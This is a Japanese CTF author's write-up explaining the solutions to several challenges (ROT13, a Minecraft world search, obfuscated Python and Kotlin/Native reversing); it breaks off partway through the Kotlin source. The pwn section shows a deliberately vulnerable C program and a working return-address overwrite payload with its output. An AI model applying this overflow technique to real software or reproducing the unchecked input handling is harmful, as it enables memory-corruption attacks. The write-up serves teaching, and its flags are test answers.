Full Weak Engineer CTF 2025 作問者Writeup
こーふです。Full Weak Engineer CTF 2025で数問出題したのでそれらの解説をしていきます。
baby-crypto(Crypto, Beginner)
sjrpgs{ebg13rq_zrffntr!}
13という文字が見えるのでROT13だろうと推測して復号。
import codecs
print(codecs.decode("sjrpgs{ebg13rq_zrffntr!}","rot13"))
fwectf{rot13ed_message!}
なぜかこの問題がWelcomeより解かれていて驚いた。
Pwn Me Baby(Pwn, Beginner)
Baby, please pwn me.
配布ファイル
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void flag(){
char buf[128]={0};
int fd=open("flag.txt",O_RDONLY);
if(fd==-1){
puts("Couldn't find flag.txt");
return;
}
read(fd,buf,128);
puts(buf);
}
int main(void){
char buf[16];
printf("I will receive a message and do nothing else:");
scanf("%s",buf);
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
main関数のscanfのところにバッファーオーバーフローの脆弱性がある。
flag関数は0x401810にあるのでそれをそのまま使おうとするとフラグが得られない。
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\x10\x18\x40\x00\x00\x00\x00\x00"|./main
I will receive a message and do nothing else:Segmentation fault (core dumped)
これはアライメントの問題なのでRSPが16の倍数になるような命令が実行されるように調整する。
$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAA\x11\x18\x40\x00\x00\x00\x00\x00"|./main
I will receive a message and do nothing else:fwectf{fake_flag}
I will receive a message and do nothing else:Segmentation fault (core dumped)
これをリモートに対して実行するとフラグが得られる。
fwectf{bof_b0f_6of_60f}
問題名を数日前にPwn Me Baby[1]に変えたのは良いものの配布ファイルの名前を変えるのを忘れていました😢
Flagcraft(Misc, Easy)
フラグをめっちゃ遠いところに隠したよ!見つけられるかな?(マイクラを買わなくても解けます)
I hid a flag really far away! Can you find it? (You don’t have to buy Minecraft to solve this chal)
配布ファイルのworld/regionにr.-7698.19513.mcaという怪しいファイルがある。
mcaファイルは32×32チャンク(1チャンクは16×16ブロック)のデータが保存されているのでフラグは(x,y)=(-7698*32*16,19514*32*16)=(-3941376,9991168)あたりにあると予測できる。
Amuletを使うとフラグが得られた。[2]
fwectf{1_th1nk_m1n3cr4ft_15_th3_635t_94m3}
ちなみにUniversal Minecraft Editor[3]を使っても解ける。
A(Rev, Medium)
演算子オーバーロード大好き!
I really like operator overloading!
配布ファイル
class _A(type):
def __xor__(AA, AAA):
return AA(AAA)
def __invert__(AA):
return globals()
def __mod__(AA, AAA):
return __import__("base64").b64decode(['QXJpdGhtZXRpY0Vycm9y', 'QXNzZXJ0aW9uRXJyb3I=', 'QXR0cmlidXRlRXJyb3I=', 'QmFzZUV4Y2VwdGlvbg==', 'QmFzZUV4Y2VwdGlvbkdyb3Vw', 'QmxvY2tpbmdJT0Vycm9y', 'QnJva2VuUGlwZUVycm9y', 'QnVmZmVyRXJyb3I=', 'Qnl0ZXNXYXJuaW5n', 'Q2hpbGRQcm9jZXNzRXJyb3I=', 'Q29ubmVjdGlvbkFib3J0ZWRFcnJvcg==', 'Q29ubmVjdGlvbkVycm9y', 'Q29ubmVjdGlvblJlZnVzZWRFcnJvcg==', 'Q29ubmVjdGlvblJlc2V0RXJyb3I=', 'RGVwcmVjYXRpb25XYXJuaW5n', 'RU9GRXJyb3I=', 'RWxsaXBzaXM=', 'RW5jb2RpbmdXYXJuaW5n', 'RW52aXJvbm1lbnRFcnJvcg==', 'RXhjZXB0aW9u', 'RXhjZXB0aW9uR3JvdXA=', 'RmFsc2U=', 'RmlsZUV4aXN0c0Vycm9y', 'RmlsZU5vdEZvdW5kRXJyb3I=', 'RmxvYXRpbmdQb2ludEVycm9y', 'RnV0dXJlV2FybmluZw==', 'R2VuZXJhdG9yRXhpdA==', 'SU9FcnJvcg==', 'SW1wb3J0RXJyb3I=', 'SW1wb3J0V2FybmluZw==', 'X19idWlsdGluc19f', 'a29rb25pX19fYnVpbHRpbnNfX19nYV9hcmltYXN1SW5kZW50YXRpb25FcnJvcg==', 'SW5kZXhFcnJvcg==', 'SW50ZXJydXB0ZWRFcnJvcg==', 'SXNBRGlyZWN0b3J5RXJyb3I=', 'S2V5RXJyb3I=', 'S2V5Ym9hcmRJbnRlcnJ1cHQ=', 'TG9va3VwRXJyb3I=', 'TWVtb3J5RXJyb3I=', 'TW9kdWxlTm90Rm91bmRFcnJvcg==', 'TmFtZUVycm9y', 'Tm9uZQ==', 'Tm90QURpcmVjdG9yeUVycm9y', 'Tm90SW1wbGVtZW50ZWQ=', 'Tm90SW1wbGVtZW50ZWRFcnJvcg==', 'T1NFcnJvcg==', 'T3ZlcmZsb3dFcnJvcg==', 'UGVuZGluZ0RlcHJlY2F0aW9uV2FybmluZw==', 'UGVybWlzc2lvbkVycm9y', 'UHJvY2Vzc0xvb2t1cEVycm9y', 'UmVjdXJzaW9uRXJyb3I=', 'UmVmZXJlbmNlRXJyb3I=', 'UmVzb3VyY2VXYXJuaW5n', 'UnVudGltZUVycm9y', 'UnVudGltZVdhcm5pbmc=', 'U3RvcEFzeW5jSXRlcmF0aW9u', 'U3RvcEl0ZXJhdGlvbg==', 'U3ludGF4RXJyb3I=', 'U3ludGF4V2FybmluZw==', 'U3lzdGVtRXJyb3I=', 'U3lzdGVtRXhpdA==', 'VGFiRXJyb3I=', 'VGltZW91dEVycm9y', 'VHJ1ZQ==', 'VHlwZUVycm9y', 'VW5ib3VuZExvY2FsRXJyb3I=', 'VW5pY29kZURlY29kZUVycm9y', 'VW5pY29kZUVuY29kZUVycm9y', 'VW5pY29kZUVycm9y', 'VW5pY29kZVRyYW5zbGF0ZUVycm9y', 'VW5pY29kZVdhcm5pbmc=', 'VXNlcldhcm5pbmc=', 'VmFsdWVFcnJvcg==', 'V2FybmluZw==', 'V2luZG93c0Vycm9y', 'WmVyb0RpdmlzaW9uRXJyb3I=', 'Xw==', 'X19idWlsZF9jbGFzc19f', 'X19kZWJ1Z19f', 'X19kb2NfXw==', 'X19pbXBvcnRfXw==', 'X19sb2FkZXJfXw==', 'X19uYW1lX18=', 'X19wYWNrYWdlX18=', 'X19zcGVjX18=', 'YWJz', 'YWl0ZXI=', 'YWxs', 'YW5leHQ=', 'YW55', 'YXNjaWk=', 'Ymlu', 'Ym9vbA==', 'YnJlYWtwb2ludA==', 'Ynl0ZWFycmF5', 'Ynl0ZXM=', 'Y2FsbGFibGU=', 'Y2hy', 'Y2xhc3NtZXRob2Q=', 'Z2V0', 'Y29tcGlsZQ==', 'Y29tcGxleA==', 'Y29weXJpZ2h0', 'am9pbg==', 'Y3JlZGl0cw==', 'ZGVsYXR0cg==', 'ZGljdA==', 'ZGly', 'ZGl2bW9k', 'ZW51bWVyYXRl', 'ZXZhbA==', 'ZXhlYw==', 'ZXhpdA==', 'ZmlsdGVy', 'ZmxvYXQ=', 'Zm9ybWF0', 'ZnJvemVuc2V0', 'Z2V0YXR0cg==', 'Z2xvYmFscw==', 'aGFzYXR0cg==', 'aGFzaA==', 'aGVscA==', 'aGV4', 'aWQ=', 'aW5wdXQ=', 'aW50', 'aXNpbnN0YW5jZQ==', 'aXNzdWJjbGFzcw==', 'aXRlcg==', 'bGVu', 'bGljZW5zZQ==', 'bGlzdA==', 'bG9jYWxz', 'bWFw', 'bWF4', 'bWVtb3J5dmlldw==', 'bWlu', 'bmV4dA==', 'b2JqZWN0', 'b2N0', 'b3Blbg==', 'b3Jk', 'cG93', 'cHJpbnQ=', 'cHJvcGVydHk=', 'cXVpdA==', 'cmFuZ2U=', 'cmVwcg==', 'cmV2ZXJzZWQ=', 'cm91bmQ=', 'c2V0', 'c2V0YXR0cg==', 'c2xpY2U=', 'c29ydGVk', 'c3RhdGljbWV0aG9k', 'c3Ry', 'c3Vt', 'c3VwZXI=', 'dHVwbGU=', 'dHlwZQ==', 'dmFycw==', 'emlw', 'X19idWlsdGluc19fa2FyYV9jb3B5X3NpbWFzaXRh', 'WW9rdW1pdHN1a2V0YW5lIQ==', 'TW90bW90b2hhX3NoYTI1Nl9UdWthdHRldGFrZWRvX0thZXRh', 'RGVidWdnZXJfYm91Z2FpX3R0ZV9kb3V5YXJ1bm9nYV9paW5uZGFybw=='][AAA].encode()).decode()
class A(metaclass=_A):
def __init__(AA, AAA):
AA.A=AAA
def __mul__(AA,AAA):
return AA-(A:=-AA)-(A+AAA)
def __sub__(AA,AAA):
return (AA.A.append(AAA),AA)[1]
def __neg__(AA):
return AA.A.pop()
def __xor__(AA,AAA):
return AA-(-AA)(*[-AA for AAA in [AAA]*AAA])
def __mod__(AA,AAA):
return [AA:=(AA-eval(-((AA-A%117)))(-AA,-AA)) for AAA in [AAA]*AAA][~AAA//(AAA+AAA//AAA)]
def __truediv__(AA,AAA):
return ((AA//AAA-""-A%103-A%155)**1)%1^2
def __pow__(AA,AAA):
return ((AA-A%30-A%99-~A)%1^1)%1
def __floordiv__(AA,AAA):
return AA-[-AA for AAA in [AAA]*AAA]
def __pos__(AA):
return [AA:=AA-AAA for AAA in -AA][-1]
t=A^[];(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((t-(-((((((t-58)*45*-6*11*-6*-70*82*3*-6*10*-89*82*-13*15*-6*-41//16-A%97)**249-A%133)**36^2)-""-A%103-A%155)**37%1^2))-(-((((((t-116)*1*-5*-2*-5//5-A%97)**96-A%133)**193^2)-""-A%103-A%155)**47%1^2)))**136)^1)-(-((((((t-101)*-1*11*-12*11*-9//6-A%97)**241-A%133)**173^2)-""-A%103-A%155)**5%1^2))-'tr'-'s')/2)**62)%1)^1)*b'')-(-((((((t-109)*8*-2//3-A%97)**251-A%133)**209^2)-""-A%103-A%155)**95%1^2)))**210)^1)-(-((((((t-100)*1*0*14//4-A%97)**222-A%133)**99^2)-""-A%103-A%155)**86%1^2))-(-((((((t-109)*2*-11*10*-13*17//6-A%97)**226-A%133)**131^2)-""-A%103-A%155)**172%1^2))-(-((((((t-95)*0*21*-2*-3*1*-3*-4*-10*0//10-A%97)**67-A%133)**106^2)-""-A%103-A%155)**238%1^2)))**68)^1)%1)^1)-(-((((((t-41)*0*0*57*-53*71*-76*0*5*-5*18*40*-54*53*-65*65*3*-2*11*-12*11//21-A%97)**105-A%133)**124^2)-""-A%103-A%155)**147%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**106-A%133)**201^2)-""-A%103-A%155)**86%1^2)))**99)^1)^2)*b'')-(-((((((t-110)*-9*7//3-A%97)**133-A%133)**109^2)-""-A%103-A%155)**224%1^2)))**127)^1)-(-((((((t-95)*0*18*-12*-6*0//6-A%97)**76-A%133)**248^2)-""-A%103-A%155)**42%1^2))-49)%1)^1)-(-((((((t-95)*0*5*10*-13*-2*0//7-A%97)**30-A%133)**16^2)-""-A%103-A%155)**120%1^2))-(-((((t-102)*14*-17*2*18*-17//6-A%95)**118)^1))-(-((((((t-104)*12*-11*14*-4*1*-2*-17*19*-1//10-A%97)**222-A%133)**47^2)-""-A%103-A%155)**168%1^2))-(-((((((t-93)*-40*-8*46*-26*-19*70*-58*39*3*-2*11*-12*11//14-A%97)**105-A%133)**95^2)-""-A%103-A%155)**249%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**16-A%133)**175^2)-""-A%103-A%155)**203%1^2)))**23)^1)^0)%1)^1)%1)^1)-(-((((((t-95)*0*14*-8*15*-11*11*-15*2*-8*0//11-A%97)**24-A%133)**237^2)-""-A%103-A%155)**17%1^2))-(-((((((t-41)*0*0*8*45*-53*10*0*-9*0*-1*0*0*9*44*-45*-12*17*-3*-1*-8*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-39*-2*-4*-7*0*-1*10*0*-2*-12*28*-20*8*-2*-9*0*-1*14*2*-20*28*-20*7*-5*0*4*-9*6*1*-4*-3*7*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*9*44*-53*10*1*-2*-8*0*-1*0*0*9*44*-45*-12*17*-4*-8*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-41*4*-8*-7*0*-1*10*0*-2*-12*28*-20*3*4*-10*0*-1*14*2*-20*28*-20*6*-4*0*3*-1*-7*11*-4*-4*-3*-1*9*-1*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*8*45*-53*16*-5*-2*-8*0*-1*0*0*9*44*-45*-12*19*-4*-3*-7*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-42*-3*-7*0*-1*10*0*-2*-12*28*-20*8*-2*-2*-7*0*-1*14*2*-20*28*-20*7*-5*0*8*-6*-4*-3*7*1*-8*7*0*-4*-3*-1*15*-8*1*-4*71*-76*0*0*0*0*0*5*-5*5*-4*0*9*44*-45*-12*12*0*-7*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-38*-5*-1*-8*0*-1*10*0*-2*-12*28*-20*12*-5*-2*-8*0*-1*14*2*-20*28*-20*11*-7*2*-4*0*2*0*-7*8*-1*-4*-3*7*0*-7*8*-5*-3*9*-9*11*1*-12*9*3*-9*-3*13*-4*-9*14*-7*-7*11*-8*-3*11*-11*6*-6*6*-6*6*-6*6*-6*6*-6*6*-6*6*-6*6*-6*12*1*-10*-3*7*6*-13*11*-8*-3*9*-6*-3*6*-6*8*-1*-7*10*-7*-3*9*-6*-3*13*-13*10*-7*-3*11*-11*11*-8*-3*11*-11*6*-6*6*-6*6*-6*6*-6*6*-6*12*1*-10*-3*7*6*-13*10*-7*-3*6*-6*11*-8*-3*9*-2*-7*7*-4*-3*9*-6*-3*15*-12*-3*8*-1*-7*9*-6*-3*14*-11*-3*7*0*-7*9*-6*-3*14*-11*-3*7*0*-7*13*-10*-3*7*-7*12*-12*9*-6*-3*10*-7*-3*8*-5*-3*15*-15*13*-10*-3*12*-9*-3*14*-14*6*-6*14*-11*-3*6*1*-7*6*2*-5*-3*14*-6*-8*6*2*-5*-3*8*-8*10*-3*-7*7*-4*-3*6*-6*14*-11*-3*7*-7*9*-6*-3*13*-13*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*8*-5*-3*6*-6*6*1*-7*7*-4*-3*6*-6*13*-10*-3*7*-7*10*-7*-3*8*2*-7*-3*10*0*-10*15*-15*10*-7*-3*7*0*-7*6*-6*7*0*-4*-3*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*7*-7*9*-6*-3*12*-12*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*10*-7*-3*6*-6*8*-1*-7*7*-4*-3*6*-6*13*-10*-3*6*-6*13*-10*-3*15*-8*-7*8*-1*-4*-3*11*-1*-7*-3*10*0*-10*15*-15*6*-6*10*-7*-3*11*-11*11*-8*-3*11*-11*6*-6*6*-6*6*-6*6*-6*6*-6*12*1*-10*-3*7*6*-13*10*-7*-3*7*-7*15*-12*-3*12*-5*-7*7*-4*-3*14*-11*-3*14*-14*9*-6*-3*10*-7*-3*6*-6*13*-13*13*-10*-3*7*-7*12*-12*9*-6*-3*10*-7*-3*8*-5*-3*15*-15*13*-10*-3*12*-9*-3*14*-14*6*-6*13*-10*-3*15*-15*6*2*-5*-3*14*-6*-8*6*2*-5*-3*8*-8*10*-3*-7*7*-4*-3*6*-6*9*-2*-4*-3*13*-13*9*-9*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*8*-5*-3*6*-6*6*1*-7*7*-4*-3*6*-6*6*1*-4*-3*8*-5*-3*6*4*-7*-3*10*0*-10*15*-15*10*-7*-3*7*0*-7*6*-6*7*0*-4*-3*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*7*-7*9*-6*-3*12*-12*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*10*-7*-3*6*-6*8*-1*-7*7*-4*-3*6*-6*13*-10*-3*8*-5*-3*6*-6*10*-3*-7*8*-1*-4*-3*11*-1*-7*-3*10*0*-10*15*-15*6*-6*10*-7*-3*11*-11*11*-8*-3*11*-11*6*-6*6*-6*6*-6*6*-6*6*-6*12*1*-10*-3*7*6*-13*8*-1*-4*-3*10*-10*8*-1*-7*7*-4*-3*12*-9*-3*12*-12*14*-11*-3*7*-7*13*-13*9*-6*-3*11*-8*-3*14*-14*9*-6*-3*12*-9*-3*15*-15*13*-10*-3*13*-13*9*-6*-3*12*-9*-3*15*-15*9*-6*-3*13*-10*-3*6*1*-7*9*-6*-3*10*-7*-3*7*-7*12*-12*12*-9*-3*7*-7*6*-6*8*-5*-3*7*-7*9*-9*6*2*-5*-3*14*-6*-8*6*2*-5*-3*8*-8*10*-3*-7*7*-4*-3*6*-6*13*-10*-3*14*-11*-3*6*-6*8*-1*-7*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*8*-5*-3*6*-6*6*1*-7*7*-4*-3*6*-6*13*-10*-3*8*-5*-3*11*-8*-3*14*-5*-6*-3*10*0*-10*15*-15*10*-7*-3*7*0*-7*6*-6*7*0*-4*-3*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*7*-7*9*-6*-3*12*-12*6*2*-5*-3*14*-6*-8*8*-1*-4*-3*10*-7*-3*6*-6*8*-1*-7*7*-4*-3*6*-6*10*-3*-4*-3*11*-11*10*-3*-7*8*-1*-4*-3*11*-1*-7*-3*10*0*-10*15*-15*6*-6*6*-6*7*-4*-3*6*-6*13*-10*-3*12*-9*-3*8*-5*-3*12*-5*-7*9*2*-8*-3*11*-1*-10*14*-14*6*-6*10*-10*8*-1*-4*-3*14*-14*9*2*-8*-3*10*0*-10*15*-15*6*-6*6*-6*-1*8*3*-7*71*-76*0*0*0*0*0*5*-5*5*-4*9*44*-53*12*2*-6*-7*0*-1*0*0*9*44*-45*-12*11*2*-8*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-45*8*-15*0*-1*10*0*-2*-12*28*-20*8*2*-13*0*-1*14*2*-20*28*-20*8*-6*0*8*-6*-7*9*-2*-4*-3*13*-13*8*-8*-1*8*-1*1*-4*71*-76*0*0*0*0*0*5*-5*5*-4*7*-3*-4*16*-5*-7*71*-76*0*0*0*0*0*0*0*0*0*0*0*0*0*0*5*-5*18*39*3*-2*11*-12*11//1342-A%97)**87-A%133)**93^2)-""-A%103-A%155)**15%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**42-A%133)**35^2)-""-A%103-A%155)**107%1^2)))**226)^1)-(-((((((t-41)*11*4*-6*44*-53*7*46*-53*14*-4*-2*-7*0*-1*0*0*9*44*-45*-12*17*-5*1*-8*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-39*-4*-9*0*-1*10*0*-2*-12*28*-20*10*-3*-10*0*-1*14*2*-20*28*-20*7*-5*0*10*-8*-4*-3*11*-4*-7*7*0*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*8*45*-53*8*2*-2*-7*0*-1*0*0*9*44*-45*-12*13*0*-1*-7*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-38*1*-15*0*-1*10*0*-2*-12*28*-20*7*4*-14*0*-1*14*2*-20*28*-20*8*-6*0*3*-5*-3*15*-15*11*-8*-3*12*-9*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*0*9*44*-45*-12*13*4*-12*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-39*-7*1*-7*0*-1*10*0*-2*-12*28*-20*9*1*-6*-7*0*-1*14*2*-20*28*-20*12*-10*0*8*-4*-6*-3*7*0*-7*8*-1*-4*-3*9*-6*-3*6*-6*9*-2*-7*8*-8*13*-6*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*71*-76*0*0*0*0*0*0*18*39*3*-2*11*-12*11//295-A%97)**117-A%133)**103^2)-""-A%103-A%155)**56%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**174-A%133)**239^2)-""-A%103-A%155)**177%1^2)))**61)^1)//2)%1)^1)^0)-(-((((((t-93)*-52*75*-71*-1*72*-71*-5*72*-7*17*-90*78*-5*-73*66*-54*53*-65*82*-3*-9*-70*9*0*0*8*45*-53*8*-12*4*0*57*-53*-4*0*9*44*-45*-12*13*4*-12*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-45*-1*1*-7*0*-1*10*0*-2*-12*28*-20*4*1*-8*0*-1*14*2*-20*28*-20*10*-8*0*1*-6*11*-3*-5*-3*15*-15*9*-6*-3*15*-8*-7*6*-6*-1*12*4*-12*71*-76*0*0*0*0*0*5*-5*5*-4*56*-52*71*-76*0*0*0*0*0*5*-5*51*-33*39*3*-2*11*-12*11//139-A%97)**227-A%133)**26^2)-""-A%103-A%155)**201%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**192-A%133)**94^2)-""-A%103-A%155)**244%1^2)))**107)^1)^0)-(-((((((t-95)*0*18*-12*-6*0//6-A%97)**56-A%133)**171^2)-""-A%103-A%155)**36%1^2))-(-((t-141)*95*-215*51*-41*156*-34*-27*58*-137*201*-223*48*-44*73*150*-80*78*-95*74*-130*55*55*-74*-9*-22*-49*38*122*-130*-12*15*53*83*-96*-114*99*142*-84*48*-71*82*-121*-93*-14*142*4*85*-88//49)))%1)^1)-(-((((((t-95)*0*14*-8*15*-11*11*-15*2*-8*0//11-A%97)**24-A%133)**167^2)-""-A%103-A%155)**55%1^2))-(-((((((t-41)*11*4*-6*44*-53*7*46*-53*13*-2*-3*-7*0*-1*0*0*9*44*-45*-12*14*5*-14*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-41*1*-5*-7*0*-1*10*0*-2*-12*28*-20*3*0*2*-8*0*-1*14*2*-20*28*-20*7*-5*0*10*-8*-4*-3*11*-4*-7*7*0*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*8*45*-53*14*-6*1*-8*0*-1*0*0*9*44*-45*-12*20*-6*-2*-7*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-45*7*-14*0*-1*10*0*-2*-12*28*-20*8*-4*0*-7*0*-1*14*2*-20*28*-20*8*-6*0*3*-5*-3*15*-15*11*-8*-3*12*-9*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*0*9*44*-45*-12*11*5*-11*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-39*-4*-9*0*-1*10*0*-2*-12*28*-20*6*4*-6*-7*0*-1*14*2*-20*28*-20*11*-9*0*5*0*-7*-3*9*-6*-3*6*-6*9*-2*-7*8*-8*13*-6*-4*-3*9*5*-14*-1*10*0*-6*71*-76*0*0*0*0*0*5*-5*5*71*-76*0*0*0*0*0*0*18*-26*65*3*-2*11*-12*11//292-A%97)**174-A%133)**8^2)-""-A%103-A%155)**134%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**40-A%133)**140^2)-""-A%103-A%155)**147%1^2)))**167)^1)-(-((((((t-41)*11*4*-6*44*-53*7*46*-53*9*5*-6*-7*0*-1*0*0*9*44*-45*-12*18*-2*-11*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-44*-8*0*-1*10*0*-2*-12*28*-20*9*-4*-1*-7*0*-1*14*2*-20*28*-20*7*-5*0*10*-8*-4*-3*11*-4*-7*7*0*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*8*45*-53*7*4*-2*-8*0*-1*0*0*9*44*-45*-12*19*-4*-2*-8*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-40*-5*0*-7*0*-1*10*0*-2*-12*28*-20*11*-2*-5*-7*0*-1*14*2*-20*28*-20*8*-6*0*3*-5*-3*15*-15*11*-8*-3*12*-9*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*-4*0*9*44*-45*-12*15*-1*-2*-7*0*-1*12*0*-4*-12*28*-20*6*-3*1*-12*28*-20*-11*0*11*-4*9*44*-44*3*-3*-8*0*-1*10*0*-2*-12*28*-20*8*0*-11*0*-1*14*2*-20*28*-20*12*-10*0*8*-4*-6*-3*7*0*-7*8*-1*-4*-3*9*-6*-3*6*-6*9*-2*-7*8*-8*13*-6*-4*-3*-1*13*-5*0*-4*71*-76*0*0*0*0*0*5*-5*5*71*-76*0*0*0*0*0*0*18*-26*65*3*-2*11*-12*11//297-A%97)**184-A%133)**140^2)-""-A%103-A%155)**252%1^2))-(-((((((t-108)*-11*21*-17//4-A%97)**3-A%133)**50^2)-""-A%103-A%155)**201%1^2)))**222)^1)//2)%1)^1)^0)
Aクラスのコードを書き換える。
変更後
class A(metaclass=_A):
def __init__(AA, AAA):
AA.A=AAA
def __mul__(AA,AAA):
return AA-(A:=-AA)-(A+AAA)
def __sub__(AA,AAA):
return (AA.A.append(AAA),AA)[1]
def __neg__(AA):
return AA.A.pop()
def __xor__(AA,AAA):
print(f"{AA.A[-1]} {[AA.A[-i-2] for i in range(AAA)]}")
return AA-(-AA)(*[-AA for AAA in [AAA]*AAA])
def __mod__(AA,AAA):
if AA.A[-1]!=globals():
print(f"getattr {'->'.join([str(AA.A[-i-1]) for i in range(AAA+1)])}")
return [AA:=(AA-eval(-((AA-A%117)))(-AA,-AA)) for AAA in [AAA]*AAA][~AAA//(AAA+AAA//AAA)]
def __truediv__(AA,AAA):
return ((AA//AAA-""-A%103-A%155)**1)%1^2
def __pow__(AA,AAA):
return ((AA-A%30-A%99-~A)%1^1)%1
def __floordiv__(AA,AAA):
return AA-[-AA for AAA in [AAA]*AAA]
def __pos__(AA):
return [AA:=AA-AAA for AAA in -AA][-1]
フラグの各文字の和を乱数のシードとしていることが分かる。
またフラグの長さが49でfwectfから始まることが分かる。
49文字でfwectfから始まる文字列を試しに送り同じように解析する。
先頭からフラグの各文字についてrandint(0,255)とXORした結果を比較していることが分かる。
import random
flag=[145, 233, 148, 144, 2, 16, 109, 230, 148, 219, 171, 255, 113, 14, 128, 224, 141, 88, 73, 85, 215, 93, 55, 104, 126, 135, 209, 154, 99, 229, 155, 250, 172, 252, 102, 29, 73, 25, 248, 47, 184, 126, 153, 187, 31, 72, 21, 236, 141]
for s in range(0,256*49):
random.seed(s)
dec_flag=b"".join([(a^random.randint(0,255)).to_bytes() for a in flag])
if dec_flag.startswith(b"fwectf"):
print(dec_flag.decode())
実行するとフラグが得られた。[4]
fwectf{1_h0p3_J4v4_5upp0rt5_0p3r4t0r_0v3r104d1n9}
NativeKotlian(Rev, Hard)
Kotlinの森に迷い込んでしまった!
I got lost in Kotlian forest!
Kotlin/Nativeを用いて作られたファイル暗号化プログラムのようだ。
Ghidraでデコンパイルしてコードを眺める。関数名とデコンパイル結果から処理を理解する。
ソースコード
import okio.FileSystem
import okio.Path.Companion.toPath
import kotlin.random.Random
val genKey = { c: Int ->
{
var d = ""
val e = mutableListOf<UByte>()
repeat(c) {
val (a, b) = run {
val o = Random.nextInt(3)
val k = { t: Int ->
{
try {
arrayOf("2049531678")[1 % t - 1]
} catch (e: ArithmeticException) {
"OIPCYZVTKHDAUBEFRQSMJWNXGL"
} catch (e: IndexOutOfBoundsException) {
"rwlihcuoebjxsptyfqvgzdnmka"
}
}
}(o)()
val y = Random.nextInt(k.length)
k[y] to 26 * o + y
}
d += a
e.add(b.toUByte())
}
d to e
}
}
val map = arrayListOf(101,163,69,35,181,201,0,113,5,150,157,141,24,217,89,6,7,111,112,124,31,109,57,133,10,204,79,238,175,19,206,47,149,90,184,215,140,96,227,36,186,230,123,228,85,44,132,11,13,58,118,60,192,14,246,244,99,179,25,41,240,84,212,129,190,236,155,80,194,49,66,116,8,139,18,62,207,151,37,243,131,185,87,130,70,28,224,162,43,223,211,226,251,254,92,56,239,137,81,177,55,233,134,208,107,158,189,205,166,95,46,174,102,106,171,74,64,218,225,219,142,98,12,76,91,145,172,248,193,94,237,221,97,231,191,199,119,195,45,234,146,161,214,159,135,105,147,115,198,72,82,42,187,86,222,21,170,178,138,104,164,180,176,252,30,67,125,4,156,241,83,59,196,154,121,3,165,65,203,182,122,75,128,114,200,39,117,34,27,232,103,148,40,202,229,255,17,110,54,108,15,250,73,23,100,126,183,38,153,26,169,197,71,1,61,51,63,33,152,143,68,88,2,160,52,9,167,253,93,213,29,235,127,173,209,247,144,50,120,78,210,22,48,249,168,77,220,20,216,16,32,188,136,245,242,53)
fun encrypt(buf: UByteArray, key: List<UByte>) {
try {
encrypt(buf, key, 0)
} catch (_: Exception) {
tpyrcne(buf, key)
} finally {
try {
encrypt(buf, key, 0)
} catch (_: Exception) {
}
}
}
fun encrypt(buf: UByteArray, key: List<UByte>, i: Int) {
try {
buf[i] = (buf[i] + buf[(i + 1) % 8]).toUByte()
buf[i]= map[((buf[i] + (i * i).toUInt()) % 256u).toInt()].toUByte()
1 % (7 - i)
encrypt(buf, key, i + 1)
} catch (e: Exception) {
buf[i]=buf[i].rotateRight(4)
throw Exception()
} finally {
val tmp=buf[i]
buf[i]=buf[(2*i)%8]
buf[(2*i)%8]=tmp
}
}
fun tpyrcne(buf: UByteArray, key: List<UByte>) {
val a = { b: UByte, c: UByte ->
{ d: UByte, e: UByte ->
{ f: UByte, g: UByte ->
{ h: UByte, i: UByte ->
{
h.xor(i)
}
}((f * 3u).toUByte(), (g * 7u).toUByte())
}(
d.rotateLeft(3),
e.rotateRight(2)
)
}(b, c)
}
for (i in 0..7) {
buf[i] = a(buf[i], key[i])()
}
}
fun main(args: Array<String>) {
